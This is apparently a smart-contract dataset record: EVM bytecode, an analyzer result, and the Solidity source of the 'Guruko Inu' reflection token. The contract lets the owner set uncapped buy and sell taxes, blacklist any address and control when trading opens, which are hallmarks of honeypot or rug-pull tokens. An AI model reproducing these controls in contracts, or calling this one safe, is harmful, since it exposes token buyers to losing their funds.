16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a72305820764b68b11b640ad04f33eb9536242948b0e92d10f71de5932f6aeba2673e39a10029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,269
0xb59e38d615bfcf809ef37a41aaa2146e933492f7
/** Lock Liq Tax: 5% buy first 30 min sell tax 15% then 5% change sell tax and renounce https://t.me/GurukoInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GurukoInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Guruko Inu"; string private constant _symbol = "GURUKO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 15; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000 * 10**9; uint256 public _maxWalletSize = 5000000 * 10**9; uint256 public _swapTokensAtAmount = 100000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(0xdead)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 2000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ca4565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612d75565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612dcd565b61087b565b6040516102649190612e28565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612ea2565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612ecc565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612ee7565b6108cf565b6040516102f79190612e28565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612ecc565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190612f56565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190612f80565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f9b565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190612ff4565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f9b565b610bf1565b60405161041e9190612ecc565b60405180910390f35b34801561043357600080fd5b5061043c610c42565b005b34801561044a57600080fd5b5061046560048036038101906104609190613021565b610d95565b005b34801561047357600080fd5b5061047c610e47565b6040516104899190612ecc565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190612f9b565b610e4d565b6040516104c69190612ecc565b60405180910390f35b3480156104db57600080fd5b506104e4610e65565b6040516104f19190612f80565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190612ff4565b610e8e565b005b34801561052f57600080fd5b50610538610f57565b6040516105459190612ecc565b60405180910390f35b34801561055a57600080fd5b50610563610f5d565b6040516105709190612d75565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613021565b610f9a565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061304e565b611039565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612dcd565b6110f0565b6040516105ff9190612e28565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190612f9b565b61110e565b60405161063c9190612e28565b60405180910390f35b34801561065157600080fd5b5061065a61112e565b005b34801561066857600080fd5b50610683600480360381019061067e9190613110565b6111a8565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613170565b6112e2565b6040516106b99190612ecc565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613021565b611369565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612f9b565b611408565b005b61071c6115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906131fc565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd61321c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061327a565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f477572756b6f20496e7500000000000000000000000000000000000000000000815250905090565b600061088f6108886115ca565b84846115d2565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600067016345785d8a0000905090565b60006108dc84848461179d565b61099d846108e86115ca565b61099885604051806060016040528060288152602001613c2960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e6115ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec9092919063ffffffff16565b6115d2565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e56115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906131fc565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad56115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906131fc565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc06115ca565b73ffffffffffffffffffffffffffffffffffffffff1614610be057600080fd5b6000479050610bee81612050565b50565b6000610c3b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120bc565b9050919050565b610c4a6115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d9d6115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e21906131fc565b60405180910390fd5b66071afd498d00008111610e3d57600080fd5b8060158190555050565b60155481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e966115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a906131fc565b60405180910390fd5b60148054906101000a900460ff1615610f3b57600080fd5b806014806101000a81548160ff02191690831515021790555050565b60165481565b60606040518060400160405280600681526020017f475552554b4f0000000000000000000000000000000000000000000000000000815250905090565b610fa26115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611026906131fc565b60405180910390fd5b8060178190555050565b6110416115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906131fc565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111046110fd6115ca565b848461179d565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116f6115ca565b73ffffffffffffffffffffffffffffffffffffffff161461118f57600080fd5b600061119a30610bf1565b90506111a58161212a565b50565b6111b06115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906131fc565b60405180910390fd5b60005b838390508110156112dc5781600560008686858181106112635761126261321c565b5b90506020020160208101906112789190612f9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112d49061327a565b915050611240565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113716115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff